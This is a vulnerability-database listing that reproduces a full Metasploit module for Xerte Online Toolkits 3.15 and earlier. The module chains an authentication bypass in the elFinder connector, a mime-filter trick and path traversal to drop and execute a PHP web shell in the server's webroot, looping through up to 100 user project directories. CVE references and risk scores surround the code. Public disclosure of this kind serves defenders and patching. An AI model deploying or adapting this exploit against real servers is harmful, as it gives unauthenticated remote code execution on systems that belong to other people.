Lucene search
K

📄 Xerte Online Toolkits 3.15 Shell Upload

🗓️ 16 Jun 2026 00:00:00Reported by bootstrapboolType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 12 Views

Metasploit module for unauthenticated file upload and shell in Xerte Online Toolkits up to v3.15.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-34414
22 Apr 202618:32
attackerkb
ATTACKERKB
CVE-2026-34415
22 Apr 202618:33
attackerkb
ATTACKERKB
CVE-2026-34413
22 Apr 202618:33
attackerkb
ATTACKERKB
CVE-2026-41459
22 Apr 202618:32
attackerkb
Circl
CVE-2026-34413
22 Apr 202620:02
circl
Circl
CVE-2026-34414
22 Apr 202621:20
circl
Circl
CVE-2026-34415
22 Apr 202620:01
circl
CNNVD
Xerte Online Toolkits 安全漏洞
22 Apr 202600:00
cnnvd
CNNVD
Xerte Online Toolkits 安全漏洞
22 Apr 202600:00
cnnvd
CNNVD
Xerte Online Toolkits 安全漏洞
22 Apr 202600:00
cnnvd
Rows per page
# frozen_string_literal: true
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Xerte Online Toolkits Arbitrary File Upload - Unauthenticated Media Upload',
            'Description' => %q{
              This module bypasses authentication failure, extension blacklist,
              and path traversal vulnerabilities in the /editor/elfinder/php/connector.php
              endpoint to upload and execute a shell in Xerte Online Toolkits
              versions 3.15 (commit 4e40f8030a2e3267267db7ce03e0ff57270be6f5 as
              there's no patch versions used) and earlier.
            },
            'Author' => [
              'bootstrapbool <bootstrapbool[at]gmail.com>', # Vulnerability Disclosure / Metasploit Module
            ],
            'License' => MSF_LICENSE,
            'Platform' => 'linux',
            'Privileged' => false,
            'Targets' => [
              [
                'PHP', {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                }
              ]
            ],
            'DefaultTarget' => 0,
            'References' => [
              ['CVE', '2026-34413'],
              ['CVE', '2026-34414'],
              ['CVE', '2026-34415'],
              ['CVE', '2026-41459'],
              [
                'URL', # Python Exploit
                'https://github.com/bootstrapbool/xerteonlinetoolkits-rce'
              ],
            ],
            'DisclosureDate' => '2026-04-22',
            'Notes' => {
              'Reliability' => [REPEATABLE_SESSION],
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
        register_options(
          [
            OptString.new('USERNAME', [
              false,
              'Valid username. If Guest authentication is enabled, a username should NOT be provided.'
            ]),
            OptString.new('WEBROOT', [false, 'The full filepath to the local webroot. Ex: /var/www/html/']),
            OptString.new('TARGETURI', [true, 'The Xerte base path.']),
          ]
        )
      end
    
      def get_webroot
        uri = normalize_uri(target_uri.path, 'setup/')
        vprint_status("Attempting to retrieve webroot from #{uri}")
    
        res = send_request_cgi('uri' => uri)
    
        unless res && res.code == 200
          fail_with(Failure::Unknown, 'Failed to connect to /setup. It was likely removed by an administrator after installation.')
        end
    
        res.get_html_document.xpath("//text()[contains(., \"Delete 'database.php' from\")]/following::code[1]").text.presence
      end
    
      def get_elfinder_id(name, volume_id = 'l1')
        encoded_name = Rex::Text.encode_base64(name)
        relative_id = encoded_name.gsub(/=+$/, '')
        "#{volume_id}_#{relative_id}"
      end
    
      def create_dir(connector_uri, params, dirname, root_dir_id)
        dir_id = get_elfinder_id(dirname)
    
        create_dir_params = params.merge(
          'cmd' => 'mkdir',
          'name' => dirname,
          'target' => root_dir_id
        )
    
        res = send_request_cgi({
          'uri' => connector_uri,
          'vars_get' => create_dir_params
        })
    
        unless res && res.code == 302
          fail_with(Failure::UnexpectedReply, 'Failed to create directory')
        end
    
        return dir_id
      end
    
      def upload_file(connector_uri, params, filename, dir_id, payload)
        data = {
          'cmd' => 'upload',
          'target' => dir_id
        }
    
        mime = Rex::MIME::Message.new
    
        data.each_pair do |key, value|
          mime.add_part(value, nil, nil, "form-data; name=\"#{key}\"")
        end
    
        mime.add_part(
          '<br>' + payload, # The <br> tag bypasses the mime filter
          'text/plain',
          nil,
          "form-data; name=\"upload[]\"; filename=\"#{filename}\""
        )
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => connector_uri,
          'vars_get' => params,
          'vars_post' => data,
          'ctype' => "multipart/form-data; boundary=#{mime.bound}",
          'data' => mime.to_s
        )
    
        unless res && res.code == 302
          fail_with(Failure::UnexpectedReply, 'Failed to upload file')
        end
    
        return get_elfinder_id(filename)
      end
    
      def rename_file(connector_uri, params, shellname, dirname, file_id)
        rename_file_params = params.merge(
          'cmd' => 'rename',
          'target' => file_id,
          'name' => "#{dirname}/../../../../#{shellname}"
        )
    
        res = send_request_cgi({
          'uri' => connector_uri,
          'vars_get' => rename_file_params
        })
    
        unless res && res.code == 302
          fail_with(Failure::UnexpectedReply, 'Failed to rename file')
        end
      end
    
      def exploit
        success = false
    
        connector_uri = normalize_uri(
          target_uri.path,
          '/editor/elfinder/php/connector.php'
        )
    
        if datastore['WEBROOT'].nil?
          webroot = get_webroot
        else
          webroot = datastore['WEBROOT']
        end
    
        webroot = webroot[-1] == '/' ? webroot[0..-2] : webroot
    
        vprint_status("Application Root: #{webroot}")
    
        # The root dir id is always l1_Lw regardless of authentication scheme, user, or project
        root_dir_id = 'l1_Lw'
        dirname = Rex::Text.rand_text_alpha(8)
        filename = dirname + '.txt'
        shellname = dirname + '.php4'
    
        # The --Nottingham suffix is non configurable - it's used in all Xerte installations
        if datastore['USERNAME'].nil? # Assumes Anonymous authentication enabled (Default Xerte configuration)
          user_dir = '--Nottingham/'  # Anonymous authentication uses {project_id}--Nottingham scheme for all user directories
        else
          user_dir = "-#{datastore['USERNAME']}-Nottingham/"
        end
    
        (1..100).each do |x|
          project_dir = "/USER-FILES/#{x}#{user_dir}"
    
          vprint_status("Attempting #{webroot}#{project_dir}")
    
          project_dir_uri = normalize_uri(target_uri.path, project_dir)
    
          base_params = {
            'uploadDir' => "#{webroot}#{project_dir}",
            'uploadURL' => full_uri(project_dir_uri).to_s
          }
    
          create_dir(connector_uri, base_params, dirname, root_dir_id)
    
          file_id = upload_file(
            connector_uri,
            base_params,
            filename,
            root_dir_id,
            payload.encoded
          )
    
          rename_file(connector_uri, base_params, shellname, dirname, file_id)
    
          res = send_request_cgi({
            'uri' => normalize_uri(target_uri.path, shellname)
          })
    
          next if res && res.code == 404
    
          success = true
          vprint_status("Successfully uploaded shell through #{project_dir}")
    
          register_dir_for_cleanup("#{base_params['uploadDir']}#{dirname}")
          register_file_for_cleanup("#{base_params['uploadDir']}#{filename}")
          register_file_for_cleanup("#{webroot}/#{shellname}")
          break
        end
    
        if !success
          fail_with(Failure::NotFound, 'Exploit failed. The target user likely has no projects.')
        end
      end
    
      def check
        uri = normalize_uri(target_uri.path, 'setup/')
        vprint_status("Attempting to retrieve webroot from #{uri}")
    
        res = send_request_cgi('uri' => uri)
    
        if res.nil? || res && res.code != 200
          return Exploit::CheckCode::Unknown('Failed to connect to /setup. It was likely removed by an administrator after installation.')
        end
    
        webroot = res.get_html_document.xpath("//text()[contains(., \"Delete 'database.php' from\")]/following::code[1]").text.presence
    
        # /setup only outputs the app root in vulnerable versions of xerte
        if webroot.nil?
          return Exploit::CheckCode::Unknown
        else
          return Exploit::CheckCode::Appears
        end
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jun 2026 00:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 3.19.8
CVSS 49.3
EPSS0.00998
SSVC
12